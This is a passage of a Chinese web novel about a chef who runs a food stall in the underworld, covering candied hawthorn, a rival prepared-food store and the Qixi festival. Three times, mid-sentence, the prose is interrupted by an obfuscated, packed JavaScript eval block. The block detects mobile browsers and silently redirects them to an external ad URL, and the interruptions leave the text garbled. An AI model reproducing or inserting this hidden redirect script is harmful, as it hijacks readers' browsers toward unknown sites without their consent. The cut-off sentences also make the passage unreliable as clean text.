“您有您的想法，我也有。我不会接受没有缘由的阴时。”沈婵娟平静道。 “缘由？”司殷想了想，露出个不知几分真意的笑容：“你的吃食十分可口，沈老板的手艺也是地府独一份的，这个理由够吗？” 沈婵娟微微皱了皱眉，觉得这个男鬼可能没有理解她的言外之意。 她还没开口，就听他又道：“沈老板未免太过谨慎。我只是一个高兴了就爱花阴时的普通鬼。” 果然。有钱鬼的生活她不懂。沈婵娟不无酸意地想。 见她无言以对，司殷趁势大卖茶艺：“我私以为，唯有向沈老板支付我心里的报酬，才能体现对你手艺的尊重和认可。你不收我的阴时，可是不愿意接受我的好意？” 沈婵娟觉得哪里怪怪的。 但是俗话说，伸手不打笑脸人，沈婵娟深吸一口气，微笑着应付道：“多谢您的好意，那您的阴时我先收下。” 话虽然是这么说，但她已经想好，之后若是租了店面，就开放VIP充值业务。这位财大气粗的食客如今赠送的阴时，一并划在他卡上就好，供他日后消费，也算羊毛出在羊身上。 沈婵娟觉得自己解决了一桩棘手的事情，满意地点点头，松懈下来，靠在梧桐粗壮的树干上。 等这个客人走了，她就开始许愿。她默默地想。 不知道为什么，她总觉得当着司殷的面许愿怪怪的。 司殷看着她，放轻了声音：“既然如此，我还有一事想要麻烦沈老板。” 沈婵娟坐直了看向他，不知道他又要干什么。虽然他人看着还挺温和的，但是沈婵娟每次和他说话，都感觉心里毛毛的。 “什么事？你说。” “麻烦沈老板，现在看着我。” 11. 冰糖葫芦 “啊？”沈婵娟瞪大了眼睛，觉得这男鬼是不是有点太主动了？ 但她转念一想，这么大一个帅哥求观看，她看一下还会少块肉不成？虽然怪不好意思的，但是司殷都这么说了，那她可就不客气了。 沈婵娟兴奋地搓了搓手，真的就仰头打量起对面的司殷来。 他的双唇嫣红而饱满，像一块鲜艳的樱桃糖。鼻梁高挺，脸颊中间一颗小痣，上窄下胖，仿佛眼泪一般。 再往上看，一对修得细细的眉，一双黑眸隐隐透出些紫色，目如春水，顾盼生情的样子。 沈婵娟清晰地看到，那波光粼粼的紫色里，分明是她的脸庞。 她这才注意到，因为想更好地看清，所以不自觉地凑司殷近了些。 沈婵娟连忙垂下眼，不动声色地坐远了一些。 美色误人啊。 司殷保持原来的姿势，见她坐远了些，才大梦初醒般回过神，重新挂上笑容：“抱歉，是我唐突了。” 沈婵娟摆摆手，仍然垂着眼，耳朵有些发烫。 因而，她并没有看到司殷放松了身子，慢慢靠在粗壮的梧桐树上，仿佛依偎着母亲的幼兽一般。 他轻轻闭上眼，掩去眸中哀戚的神色，和闪动着的、轻薄的泪光。 司殷在沈婵娟的眼睛里，看到的仍然是变化莫测的脸。只不过那些脸上，左眼下方的脸颊处，都有一颗上窄下胖的小痣。 明明只是一眼，明明只是一颗没什么特别的小痣，却有巨大的悲哀像浪潮般朝他席卷而来，叫嚣着将他吞没。 不知过了多久，他与沈婵娟只是一言不发地坐着，心里都在想对方什么时候离开。 最终还是沈婵娟沉不住气，忍不住开口试探道：“……居然已经这个点了。” 言下之意就是，这么晚了，你还不回家？ 司殷睁开眼，映入眼帘的是一片无际的夜色，漆黑夜幕之上，还有一轮皎洁的弦月。 不知为何，今晚的月色似乎越来越亮，明明月色铺至他们身前，仿佛一片康庄大道。 他斜斜地扫了沈婵娟一眼，微微颔首，竟然附和道：“……居然已经这么晚了。” 沈婵娟满头黑线。 原来你也知道啊。 她叹了口气，无奈地想：早知道就不等他了，反正这愿什么时候都能许，可她今天枯坐的时间却是回不来了！ 但是……都这时候了，今天若是不把这愿许了，不就太浪费了？ 于是沈婵娟继续坐着，如老僧入定。 司殷侧过头，看着一动不动的沈婵娟，微笑着问道：“既然如此，我送沈老板一程，如何？” 虽是问句，但他不等沈婵娟回答，就不由分说地握住她的手腕，用念力将她带回了东城。 沈婵娟回过神时，她已经站在自家门口了。 “不是，我没说我要回来啊？！”沈婵娟欲哭无泪。 司殷故作惊讶地看着她，反问道：“沈老板明明无事，却等了我许久，难道不是想要我送你回家？” 好想打人怎么办？ 沈婵娟捏着拳头，在心里暴打了司殷无数拳。 司殷没注意她忍了又忍的神色，月色之下，他分明感受到，脑海里有莫名的情意在肆意澎湃。 像浪花拍岸一般，一下又一下地撞击着他的神经。 很久之后他才知道，这种如蚁啮心的滋味，叫做想念。 于是他匆匆地丢下一句：“没事的话，沈老板就早些休息吧。”，便闪身离开了。 沈婵娟洗净手进了屋，见桌上放着早上剩下的面团，又狠狠打了面团几拳泄愤。 可恶的男鬼！！ * 清晨，夜色蒙蒙亮起来的时候，沈婵娟就醒了。 她的作息向来规律，今日却不知怎的，醒得比以往早一些。 她披了衣服，盖着一层薄毯子窝在落地窗前。昨夜下了一场雨，空气里带着凉爽的潮意。沈婵娟看着窗外，在想自己早餐吃什么。 皮蛋瘦肉粥？肉松芋泥饼？还是普通的豆浆油条？ 她想了又想，居然一个也不想吃。 这可不像平常的她。 沈婵娟撇下毯子起身，决定给自己做点开胃小吃。 她先将山楂洗净晾干，切半后去核穿进竹签中。虽然制作时麻烦些，但吃起来却方便很多。 冰糖和水下锅后一起煮，先用火将冰糖融化，再改为小火慢慢熬煮，直至糖呈琥珀色，冒出密集的糖泡泡来。 趁粘稠的糖液沸腾着，便要迅速将串好的山楂平贴在热糖上，轻轻地转动起来。 沈婵娟为了学这冰糖葫芦，裹糖衣了少说做了几百次，早已是熟能生巧。 她裹出来的糖葫芦晶莹透亮，糖衣薄而且均匀，将其放在一旁冷却的过程中，她又简单地做了三明治，且作今天的早餐。 糖葫芦冷却好，正准备吃时，门铃却突然响了。 打开门，门外赫然是小白笑得灿烂的娃娃脸，还有被门遮住半个身体、臭着脸的小黑。 “你们怎么来了？”沈婵娟邀他们进来，疑惑地问道。 “今天我们休息！”小白的眼睛亮晶晶的，雀跃地回答她。 小黑没有说话，只是看着冰糖葫芦，眼里流露出莫名的赞赏。 沈婵娟点点头当作应答，忽略小白好奇的眼神，坐回餐桌前准备用早餐。 (﹁﹁)~→ 小白期待的眼神几乎能化成实质，沈婵娟无奈，只好忍痛将新做的糖葫芦递给他们。 她总共就做了三串，本来想自己全部解决，现在倒是刚好一鬼一份。 小黑不急着吃，只是拿着这串美丽的糖葫芦观赏着。 山楂没有丝毫磕碰的痕迹，红艳艳的。外表的糖凝固后亮晶晶的，为山楂披上了晶莹的外衣，像一颗颗球形红宝石。烹饪讲究色香味俱全，这串糖葫芦，色已是极佳。 不知是谁先咬破了外层的糖衣，清脆的“咔嚓”声十分响亮。碎裂的糖衣夹杂在的山楂中，酸甜交织的美妙使小白闭了闭眼，沉沦于那种恰到好处的可口中。 没多时，他的山楂就已经吃完了。小白舔了舔嘴唇上，意犹未尽地看向了小黑手里的糖葫芦。 被小黑一个眼刀制裁后，他才不情愿地闭上嘴。不过很快他就又高兴起来，兴致勃勃地问沈婵娟：“小沈，这山楂串在一起的菜，叫什么名字？” “冰糖葫芦。” “葫芦？”小白不解地看向沈婵娟：“这不是山楂吗？我前几天才在你们人类食物图鉴上看到过。” 对此，小黑也饶有兴趣地看向了沈婵娟，显然也不知道这个问题的答案。 “据说，最初糖葫芦是两个为一串，串在一起的山楂形似葫芦，且用糖衣裹就，便被戏称为冰糖葫芦。”沈婵娟擦了擦嘴，又补充道：“不过，这也只是我听说的，可能并不准确。” “原来如此。”小白煞有其事地点点头。 “不过，你们今天休息，怎么来拜访我了？”沈婵娟看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“能行吗？我们一碰那山楂，不全都坏了吗？”一旁的集薪担忧地问。 “傻啊！”刘惠恨铁不成钢地看着他：“老板将山楂都串好了，我们拿着竹签不就行了？” “对哦。”集薪不好意思地挠了挠脑袋。 “沈老板怎么这么好啊！我要一辈子追随老板！” “这才是大厨水平看到没？现做现卖还能想着我们，地府速递的预制菜拿什么和我们沈老板斗？” “切，谁死了还吃预制菜是这个。”说话的鬼比了一个向下的大拇指。 众鬼叽叽喳喳的，期待着沈老板开摊。沈婵娟听到“预制菜”三个字，手上的动作顿了顿。 都到地府了，到底是谁这么阴，又搞预制菜这出啊！ 沈婵娟一边无语，一边伸手去开火热糖。长长的队伍很快便分成两队，而自制糖葫芦这一列，首当其冲的就是黑白无常。 说实话，沈婵娟的食客们，不管是东城鬼还是别城鬼，都已经对这两个阴差见怪不怪了。 往日令他们闻风丧胆的阴差，在这个小摊前，就和他们这些普通的鬼没什么两样。 还不是都要下了班来排队，还不是和他们一样，是两个如出一辙的馋鬼。 等待的时间最是难熬，空气里刚弥漫出一股甜丝丝的香味，小白就迫不及待地拿起山楂，想要给它裹糖。 沈婵娟轻轻拍了拍他的手，冲他摇摇头，小白耷拉着脸，却还是乖乖地将山楂放了回去。 他望眼欲穿地等着那锅糖烧热。 等啊等，不知等了多久。 等到那锅糖烧成浓稠的琥珀色，等到糖液里的小泡泡逐渐越来越大，彻底地沸腾起来，沈婵娟才拿起一串山楂递给小白，笑着示意他试一试。 12. 香草可可 小白接过山楂，摸着下巴想了想，然后将其直接放入沸腾的糖浆中，斜着转了几圈，不像裹糖衣，倒像是涮麻辣烫。 他本想着，裹糖有什么难的？把串好的山楂往锅里一丢，再轻轻拿出来，那糖不就自己留在山楂表面了？ 沈婵娟站在一边，笑着看他明显生疏的动作。 果不其然，那山楂一出锅，厚厚的糖液就不断滴落，小白将它平放到桌面上放凉时，厚重的糖液在山楂底部积成了一个“小水滩”，很不美观。 小黑淡淡地看了小白一眼，他虽然不说话，小白却能感受到他眼里轻微的蔑视。 “你来试试。”小白不服气。 小黑不语，只是自信地拿起一串山楂，平贴着锅面去蘸糖。 他的手法比小白好一些，只是对糖的了解还不够。锅内的糖沸腾着，倘若想要裹出来的糖衣又薄又均匀，就需轻轻贴着糖泡泡，用表层的糖包住整串山楂。 但小黑不知道锅内的深浅，整串山楂总有些部分会贴到底下的糖液，因此裹出来的糖衣厚薄不均，坑坑洼洼的。 见状，小白没忍住，抿着嘴偷偷笑起来。 他还以为小黑有多厉害呢。 小黑憋屈地扭过头，朝沈婵娟道：“剩下的那一串，你能代劳吗？” 沈婵娟笑着点点头，小白便顺势说，也将他的一起裹了。反正一鬼限购两串，与其吃他们自己裹的奇形怪状的糖葫芦，还不如让小沈代劳。 沈婵娟拿起山楂，小黑小白和一众倾斜的食客瞪大眼睛。 这可是沈老板亲自教学！不学白不学！ 只见沈婵娟将锅口微微倾斜，将那串山楂放在糖泡泡上，匀速又轻巧地转了两个圈，她的动作行云流水，仿佛表演一般流畅而且自然。 怎么沈老板就裹得这么快！还裹得这么好！！众鬼不约而同地想。 他们的目光跟随沈婵娟的手，看向放在旁边冷却的山楂，那上面的糖衣又薄又均匀，一看就知道放凉后的糖衣口感会很脆，而不像小白那个加厚版糖葫芦一样，一口下去全是糊嘴的糖。当然也不像小黑那个，吃起来酸甜不均，口感不好。 见不少鬼都摩拳擦掌，沈婵娟微微一笑：“看来大家很想试试我们的diy裹糖，那么今天推出特别活动。” 排队的鬼们纷纷竖起耳朵。 “只要diy的糖衣均匀美观，不论厚薄，便免单一份。” “啊早知道我也去排diy了。” “你来呗，现在排可能还有位置。” “我们去试试呗？这看起来蛮好玩的。” “走！” 众鬼跃跃欲试，恨不得马上冲到锅前，自己动手试一试。 万一踩狗屎运免单了呢？虽然没几个阴时，但免单总归是件开心事。 “这个还可以啊，虽然有点厚。” “一般般吧，我感觉前面那个不错。” “诶——你往上点往上点！” 队伍以缓慢的速度向前挪动，轮到刘惠前面的女生时，沈婵娟的小摊周围已经站了不少鬼。 在爱看热闹这件事上，华国人真是至死不渝。 “你快看！你快看！” “我去，这么厉害？！” 摊前的女生用一根竹签挑起糖，带起细长的糖丝，然后不断转动着手里串成一串的山楂。糖丝落在山楂之上，互不交错，如丝如雾地裹住内里红艳的山楂。 “哇！这种糖葫芦好漂亮啊。” “这个感觉好难啊，糖丝那么细都没断过。” “地府居然还有高手？！” 看见那串糖葫芦，就连平日不动声色的小黑，也微微挑了挑眉。 刘语凡不理会周遭的嘈杂，将手里的冰糖葫芦塞给沈婵娟：“送给你。” 沈婵娟有点懵，但还是伸手接了过来。 只见刘语凡又将另一串山楂放在锅表面转了两圈，裹出来的的糖衣晶莹透亮，又轻又薄。 和沈婵娟的那一串示范品相比，也是分毫不差。 “好！” “看来这女生有点水平啊？！” “沈老板，我可以免单吗？”刘语凡骄傲地看着沈婵娟，胸有成竹道。 “当然可以。”沈婵娟赞赏地看着她。 这个女生年轻，自信，手艺娴熟而且老练，更重要的是，她展现出来的、令沈婵娟侧目的锐气和稳健。扯糖丝是个技术活，裹糖衣也是，如果没有经过大量的重复练习，绝不可能做到她这样。 沈婵娟来地府后，第一次觉得有点心痛。 如果刘语凡还活着，还不在这个无法烹饪的地府，那她会有更值得喝彩的未来。但在这里，刘语凡的厨师生涯注定已经画上了句号。 树欲静而风不止，无论沈婵娟多么想栽培她，也无力于命运的安排。 后来不少鬼想要模仿刘语凡的做法，只可惜拉出的糖丝要么不够细，要么就总是黏在一起，不怎么好看。 他们回过头想向刘语凡请教，却发现她不知何时已经消失在鬼来鬼往的集市了。 * 沈婵娟今日收摊收得晚，她想着干脆将昨天的遗憾补上，去那梧桐树下许个愿，回家的时候，还能顺便看看这地府速递的预制菜是何方神圣。 她从项链里取出昨日买的朝阳泉水，朝梧桐的方向走去。 走着走着，身边突然多出来一个沉默的影子。 是刘语凡。 “真巧。”沈婵娟冲她寒暄。 刘语凡摇摇头，认真道：“不巧，我跟着你来的。” “为什么？” 刘语凡停住脚步，一双眼睛里盈满了灯火的亮色：“希望你能给我一个机会。” 对于她的请求，沈婵娟其实心里有数。厨师的机会是什么，她们都心知肚明。 见她不说话，刘语凡又道：“沈老板，你能让我当你的副厨吗？帮别人打下手，尤其是给主厨打下手，我很熟练的。” 沈婵娟心里不忍，但猜测到她应该是刚来地府，于是委婉道：“你的手可以接触食材吗？” “可以吧？我还没试过，要去菜场试试吗？” 沈婵娟摇摇头，变出一个西葫芦递到刘语凡手里。 然后，在刘语凡引以为豪的双手上，那颗西葫芦迅速发黑干瘪，散成粉末随风而去了。 刘语凡终于明白，为什么偌大的东城，唯有百鬼集市才有一个美食摊。她不想哭，但豆大的泪水却还是夺眶而出。 沈婵娟什么也没有说，只是轻轻拍了拍她的肩膀。 同为厨师，她最能懂无法烹饪是一件多么绝望的事。洗米、配菜、下油、掌火、颠勺，这对于普通人来说，不过是用以饱腹的手段，但对于她们来说不是，对厨师来说不是。厨艺不仅是她们粗粝双手上被磨出的茧，更是她们毕生精益求精的追求。 刘语凡低着头，肩膀微微恸动着，沈婵娟不忍心，轻轻抱住了她。 刘语凡还那么年轻，她的头甚至才到沈婵娟的脖颈。她有理想，有能力，有努力的勇气和决心，但它们在这里，却永远不见天日，毫无用武之地。 沈婵娟拍着她的肩，能感受到刘语凡的眼泪打湿了她肩头的衣衫， “哟，这是怎么了？” 刘语凡僵住了一瞬，沈婵娟扭头去看，发现是收摊的云寄锦。她挤眉弄眼地打趣道：“我们沈老板也会欺负小姑娘？” “我哪有？” “沈老板没有欺负我！” 两道不同的声音同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178563|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时响起，沈婵娟看着哭到一半还要帮她说话的刘语凡，帮她擦了擦未干的泪。 云寄锦挑挑眉，看来不是她能介入的事。于是她伸了伸懒腰，说了来找沈婵娟搭话的原因。 “小沈，我去梧桐树那许愿，你去不去？” * 沈婵娟一行来到梧桐树下时，被热闹的鬼群吓了一跳。 来往的鬼无一不拿着朝阳泉水，密密麻麻地飘在梧桐树周围，将那粗壮苍翠的梧桐围得密不透风。 “今日……好像许愿的鬼特别多？”沈婵娟有点疑惑。 “因为今日是地府的月假啊。”云寄锦理所当然。 见另外二人怔愣的神色，她惊讶道：“你们都不知道？！” 沈婵娟和刘语凡齐齐点头，云寄锦便解释道：“每逢农历廿八，就是地府的月假，这日连孟婆都不营业，鬼魂得等明日才能上奈何桥，饮孟婆汤。” “哦——” “那你们知道今日鬼相巡游地府吗？” 二人又是齐齐摇头。 云寄锦扶额，无知的新鬼！都不刷地府通讯吗！ 不过她还是解释道：“鬼相一月一巡，多是为了检查地府治安和府风府貌。不过ta出手向来阔气，据说廿八来梧桐树下许财愿，实现的概率会大得多。喏，你们看，别的城也有鬼来许愿。” 放眼望去，的确有不少胸前别着胸针的鬼飘在半空，虔诚地在许愿。 “走？”云寄锦把朝阳泉水分给她们，试探地问道。 “走！” 沈婵娟挤进一个地面的空位里，双手合十，庄重地拜了拜。 一愿生意长虹，二愿平安顺遂，三愿……愿能寻得合适店面、如意帮工。 沈婵娟睁开眼，苦笑着摇了摇头，沦落四城的鬼身上都带着阴气，想要找到合适的帮工，无异于痴人说梦。 她不着痕迹地叹了口气，将泉水壶口对准梧桐根部，不停地退后。水痕在她脚下连成“一”字，这端是沈婵娟，那端是粗壮翠绿的梧桐。如此，便算许愿成了。 她和云寄锦二鬼相伴离开时，司殷正在铜柱地狱里，看着面前浮现出的金字。 一愿生意长虹，二愿平安顺遂，三愿……愿能寻得合适店面、如意帮工。 他用手指描摹着“如意帮工”四个字，露出个似笑非笑的神色。 真是踏破铁鞋无觅处。 司殷心情大好，挥了挥衣袖，将铜柱地狱内漂浮的金字掩去，附赠今日许了财愿的鬼，五百阴时的转账。 * 沈婵娟一个人走在回家的路上，居民区灯笼虽然不多，却也足够辨路，更何况，还有如霜的月色铺在路上，很是明亮。 可是她越走，便越觉得太安静，心里无端地有点浮躁。 沈婵娟强按下心里的不适，一步一步地走回了家，走进了厨房。 她用一口小锅煮牛奶，放入香草籽同煮，微微沸腾的牛奶带起香草的甜味，使她无意识紧绷的身体放松下来。 沈婵娟耐心把黑巧克力切碎放入碗中，将牛奶分几次倒入。牛奶的热度使巧克力慢慢融化，混合成可可的深棕色，浓郁的巧克力香味弥漫在厨房里，好像带着篝火壁炉的热度，让人觉得温暖甜蜜。 把煮好的可可倒进杯子里，就算大功告成了。 杯子上挥舞着锅铲的小猫朝沈婵娟龇牙咧嘴地笑着，她用手摩挲着凸起的花纹，终于扬起嘴角笑了笑。 入口的可可丝滑细腻，甜牛奶和苦涩的黑巧融合得极为完美，隐隐的香草甜味留在舌尖，滚烫的温度抚平了所有坏情绪。 客厅里月色落了满地，沈婵娟出神许久，还是一言不发地走过去，将窗帘拉上了。 她不喜欢这无处不在的月色。 13. 地府速递 次日，沈婵娟起了个大早，直奔百鬼集市而去，她此行的目标，正是昨日被搅黄了没去成的地府速递。 它的门店就在百鬼集市的门口，属于行人必经之地，鬼流量爆炸的最佳档口。 沈婵娟站在地府速递门口，啧啧惊叹。无论观摩过多少次，再看时，仍觉得这间店铺无比精巧。 店面外观典雅却不失新潮，雅致却不乏灵韵，沈婵娟简直不敢想，老板为了这设计装修，花了多少日夜，费了多少心思。 当然，她更不敢想，开这一间店面，要投多少阴时。 沈婵娟叹了口气，拍拍脸颊打起精神，准备进门一探究竟。她倒要看看，这搞出预制菜的老板，到底是何方神圣。 而想要观察一家店老板的性格，不必与其接触交谈，只从店面的装修、店员的态度、商品定价的模式等，就足以窥知一二。 沈婵娟走进地府速递，装作闲逛的样子巡视起来。 内部沿袭了中式传统的装潢风格，货架和地板都使用了木材。木头区别于钢材的冷硬，它的浅棕色让人觉得温和舒适，再配上室内调好的灯光，便能营造出一种温馨愉悦的气氛。 步履不停，沿着划分的区域继续走。 沈婵娟伸出手指，触碰不同货架的边缘，木料柔和、细腻，连转角都磨成了平滑的弧形。 再看货架上的商品，种类繁多但规划整洁，摆放得整齐划一，易碎的制品都用无形的念力包裹着，以免造成损坏。 价格标签以盛放的铃兰作为背景，纸张细白，字迹娟秀清晰。 至于标签上的价格，沈婵娟看了好几个区，觉得老板应该仔细计算过。 地府速递有一个长期充值活动，新客消费打8.6折，老客打9折，折后消费算作会员点计入，足额后可以开通VIP服务享受其他优惠。 第一档消费50元，对于一些年轻的鬼来说，不过是几袋零食和饮料的价格，但沈婵娟看过零食区，定价工整但实则暗藏玄机——混买零食是无法凑满50阴时的，大多数情况是48到49元，若想要会员点，便只能再拿一袋零食。 第二档100元，对应区域代表生活的零碎开销，这个范围内包括，地府速递展出的预制菜区域。 见沈婵娟独往，店员微笑着朝她问好：“早上好，女士，需要帮忙吗？” 温和恭谨，不卑不亢。 沈婵娟笑着拒绝，在这个区域内观察起来。 预制菜区域占地中等，商品横跨多个菜系，从扬州炒饭、糖醋鲤鱼、水煮肉片到重庆火锅，市面的菜色应有尽有，包装简洁实用，上面还写着大大的：无需接触，加热即食。 她看着这个标语，没由来地笑了笑。 这句话，某种程度上来说，是对厨师的一种挑衅。她迟早让这个老板知道，预制菜绝不可能取代真正的厨师。 不过，沈婵娟有点好奇，如果鬼能自己变成预制菜，那为什么在她来之前，一直都没有吃上饭呢？ 沈婵娟集中精神，尝试着去想一包麻辣鲜香的重庆火锅底料。 厚重的牛油，鲜红的辣椒，沸腾的锅底和漂浮的鱼丸，沈婵娟想了又想，想到对火锅的热情熊熊燃烧，那底料都还迟迟未变出。 “小姐，我们的重庆火锅又麻又辣，绝对正宗哦，您可以试试看。” 沈婵娟回过神，见店员亲切的样子，她也笑着点点头：“我再看看。” 见状，店员又礼貌地再次退至一边。 沈婵娟猜想，这应该和地府的念力规则有关。这规则非常弹性，只有一句话，就是活物不可加工。 念力不能将食材通过想象加工成菜品，这是因为在地府，新鲜食材属于活物一类。相反，家居水电的正常运作，恰恰是因为它们伊始的材料，不算做地府管辖的活物。 但是预制菜很奇怪，按属性来说，它属于半成品，微妙地介于地府的规则之间，像沈婵娟一样的普通鬼根本无法轻易变出，更别提大规模量产。 思及此，沈婵娟眯了眯眼睛。 敢情这地府速递的老板还是个关系户。 啪嗒。 沈婵娟包上的挂坠掉落在地，她脚步一顿，装作不知情的样子，继续向前走。 她这时已经逛完了大半个地府速递，发现整个布局布置得异常讲究，沈婵娟倒回去走了几遍，才发现某些位置设计得别有用心。 这些微末的细节仿佛一片片拼图，在沈婵娟的大脑内部拼出零散的画面。 表面的布局只是冰山一角，她需要这个掉落的挂坠作为锚点，看看冰山隐藏在海底的真貌，究竟是不是如她所想。 沈婵娟继续走，便来到了第三档价位对应的消费场所，代表着地府社畜的日常开销。 她一面看布局，一面粗略地算价格。这个区域和之前一样，也玩了老板精心设计的数字游戏，离档位消费要求，或多或少会差一些阴时，很多鬼会就近拿一些差不多价钱的商品进行结算。 一个档位如此，两个档位如此，全部七个档位，各个如此，沈婵娟赞叹无比的同时，也觉得毛骨悚然。 这种手段隐蔽而且高明，虽然呈现出来的只有七个档位，服务也仅限于折扣而已，但沈婵娟直觉不会这么简单。 地府速递背后这个聪明的野心家，绝不可能止步于此。 而想要打开野心之门的钥匙，她自己也需要付出阴时的代价。 精明的资/本/家。 沈婵娟停住脚步，再往前走数十米，暖黄的灯光即将戛然而止，就要到地府速递的出口了。 她收回看向出口的视线，快步走到结账的店员身边，状似急切道：“你好，我包上的挂坠不见了，能麻烦你帮我调监控找找吗？” 地府速递的模式模仿的是人界大型商超，沈婵娟想，这里应该也配备了类似监控的设施。 果然，店员将沈婵娟引到一处监控室，为她查找录像。 虽说是监控室，但门上象征监控的眼睛标识却被画了红叉。 门后的面积不算大，八块电脑屏幕并在一起，分管地府速递内不同的区域，因为被放大了，所以无法看清地府速递布局的全貌。 沈婵娟：“你能调小一点吗？我想看看我是走到哪里，包上就没有挂件了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178564|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好，您稍等。” 店员的指尖飞快点着键盘，最全面的俯视图出现在八块屏幕之上。 仅仅一刹那。 沈婵娟瞳孔微缩。 屏幕很快就被调整到合适的大小，方便沈婵娟观察自己的行踪，屏幕上的她从进门开始，一路走走停停，终于走到了挂坠掉落的地方。 沈婵娟指着屏幕：“是在这里掉的。” “好的。这是C区815货架，您跟我来。” 沈婵娟跟在她身后，脑海里不断浮现出刚才监控器里的画面。 那是一个巨大的、微笑着的骷髅。 * 时间一晃就到了七月初七，这日，沈婵娟正在厨房煨一锅排骨萝卜汤，门铃却忽然响了。 她还以为是小黑小白，或者别的邻居来串门，扬起笑打开门时，门外却空无一人。 门口的地上放着一个中等大小的竹箩，里面放着两套女士新衣。 一套是绿色系的明制衣饰，淡绿色的对穿交半袖，烟青的刺绣马面裙，金线绣出芙蓉的式样，简约中不失优雅，上身飘逸轻盈，很适合晚夏时节穿着。另一套是现代的裤装，剪裁利落大方，设计简单却不失时尚，穿上后也十分得体舒适。 上附一张描金贺卡，书：七夕今宵，遥贺佳节。落款是一个血红的圆印章，内有一个行楷的“相”字。 沈婵娟扫视一周，见对门不少人家前也放着一个竹箩，才安心收了衣服进屋。 敢情这是全民福利。 换好衣服，沈婵娟就早早出了门，这是她第一次在地府过节，难免新鲜。 走到热闹的街道上，她才发现地府也凑七夕的热闹，将街道房舍都装点得焕然一新。檐下仍然挂着老式的红灯笼，只是灯身上印了各种各样的纹样：比翼双飞的凤鸟、并蒂连枝的双莲、仰头高歌的喜鹊、还有皎皎生辉的明月。 沈婵娟本以为是商家自发搞的装饰，后来才听云寄锦说，这逢年过节的地府装潢，乃至送到家门口的节日贺礼，都是鬼相自掏腰包。而上一任鬼相经常闭门不出，哪怕是最热闹的春节与中元，也不会在装饰上多花心思，营造过节的气氛，因而那几年的地府，就没有特别喜气洋洋的时候。 沈婵娟想起集市上的鬼提起鬼相，总是眉飞色舞的样子，突然觉得无比理解。鬼相掌地府，便算他们这群鬼的顶头上司，但大老板不仅平常不过问闲事，人还阔绰大方，过节既舍得花钱又舍得花心思，试问，哪个员工不喜欢？ 反正沈婵娟是挺喜欢的。 沿街走去，家家门前都放有鬼相送的竹箩，拿走了新衣和贺卡，便在内放针线、纸笔、闲书之类的杂物。 据说，放针线的寓意祈求巧技，放纸笔的则是祈求文艺。 此等又不花钱又能讨个彩头的祈福方式，沈婵娟哪有不凑热闹的道理。 不过，文邹邹的诗情才华她不想要，水墨丹青的画技她也不感兴趣，沈婵娟思来想去，觉得还是认真开火烹饪最适合自己。 她突然想起小黑之前那句晦涩的赞美，没忍住大笑起来。索性就往竹箩里放了一个锅铲，和一盘香甜细软的奶糕。 14. 七夕巧果 走至百鬼集市，随处可见成双成对的鬼，不少摊位前摆了七夕活动招牌，摊后的老板卖力吆喝着，七夕的氛围便被烘托得十分浓烈。 此情此景，的确当得起一句“良辰美景，赏心乐事”。 沈婵娟一直遗憾于现代七夕式微，却没想到能在地府体验一把复古的七夕气氛。 因而她也有些摩拳擦掌，准备赶上地府七夕大促。 而沈婵娟今日做好的，就是最符合七夕氛围的巧果。 在两份面粉中加入白糖、鸡蛋和酵母，一份倒入炒香的芝麻，加水揉成面团状，另一份则倒入适量的牛奶来和面。 发酵后的面团变得轻软，而且膨胀得很大，她将其分成大小均匀的面剂，挑出几个稍大的面块放在一边，将剩余的塞入撒好薄粉的模具中。 沈婵娟在人间时就喜欢搜罗各种模具，以备不时之需，此时倒是派上了用场。 将定型的面坯倒入烤盘中，放进预热过的烤箱烘烤，若想两面均匀，中途便要拿出一次翻面。 而挑出来的几个大面坯，沈婵娟则自有打算。 * 七夕佳节，店主不出摊的事也是常有，因此，没料到沈婵娟会出摊的鬼们在集市内玩命狂飘。 “你扯我衣服干嘛？！” “谁踩着我的头飘啊！有没有鬼管一下！” “你再抱着我的脚我要报阴律司了——” 没办法，沈老板的摊位太火爆，排队都要靠抢。 不择手段的鬼们只能寄希望于前面的亲朋好友。 你们可一定要抢到啊！！ 另一边的沈婵娟则气定神闲，安然摆放着形态各异的巧果。她做了很多模样，除了传统的印福、锦鲤、喜鹊一类，还有饼干人和许多流行的卡通形象，比如粟老鼠、唐老鸡和凯蒂狗。 反正他们的法务也不能追到地府来。 沈婵娟心安理得。 第一个冲到……或者说出现在沈婵娟摊位的鬼，不是别人，正是司殷。 他今日一身浅橘色的长襟，上绣玄鸟纹样，内饰白色圆领，腰挂白玉扣，显得格外清爽。 他人未开口，只是轻轻一碰付款的吊坠，沈婵娟的项链就响了。 “您的余额到账：500阴时。” 又来了。沈婵娟扶额。 她正要开口，司殷就先她一步：“我欣赏沈老板的厨艺，早想结为好友。这些阴时，权当朋友的七夕贺礼，沈老板不会不接受吧？” 接受个大头鬼啊！ 沈婵娟被扣了一顶朋友的高帽，面色缤纷，偏偏无法出言驳了食客面子。 那边司殷还要若无其事地大卖茶艺：“上次送你回家，我以为我们之间已是好友，难道沈老板不这么觉得？” 你还好意思说！ 沈婵娟忍了又忍，还是觉得不在大庭广众下大动干戈，脸颊憋得通红。 